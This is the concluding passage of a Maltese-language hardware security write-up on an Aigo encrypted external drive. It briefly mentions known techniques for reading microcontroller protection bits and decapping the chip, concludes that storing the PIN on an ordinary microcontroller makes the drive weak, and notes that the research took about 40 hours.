Peress li l-SROM probabbilment jaqra l-bits tal-gwardja permezz tas-sejħa tas-sistema ReadBlock, nistgħu nagħmlu l-istess ħaġa bħal deskritt fuq il-blog ta 'Dmitry Nedospasov - implimentazzjoni mill-ġdid tal-attakk ta' Chris Gerlinski, imħabbra fil-konferenza "REcon Brussell 2017".

Ħaġa oħra divertenti li tista 'ssir hija li titħan il-każ miċ-ċippa: biex tieħu dump SRAM, tidentifika sejħiet tas-sistema u vulnerabbiltajiet mhux dokumentati.

9. Konklużjoni

Għalhekk, il-protezzjoni ta 'dan id-drajv tħalli ħafna x'jixtieq, minħabba li juża mikrokontrollur regolari (mhux "imwebbes") biex jaħżen il-kodiċi PIN... Barra minn hekk, ma ħaristx (għadni) lejn kif sejrin l-affarijiet bid-data encryption fuq dan l-apparat!

X'tista 'tirrakkomanda għal Aigo? Wara li analizzajt koppja ta 'mudelli ta' drives ta 'HDDs kriptati, fl-2015 għamilt preżentazzjoni fuq SyScan, li fih eżamina l-problemi tas-sigurtà ta’ diversi drives tal-HDD esterni, u għamel rakkomandazzjonijiet dwar x’jista’ jittejjeb fihom. 🙂

Jien qattajt żewġ tmiem il-ġimgħa u diversi filgħaxija nagħmel din ir-riċerka. Total ta 'madwar 40 siegħa. Għadd mill-bidu nett (meta ftaħt id-diska) sa l-aħħar (dump tal-kodiċi PIN). L-istess 40 siegħa jinkludu l-ħin li qattajt nikteb dan l-artiklu. Kien vjaġġ eċċitanti ħafna.

Sors: www.habr.com

Żid kumment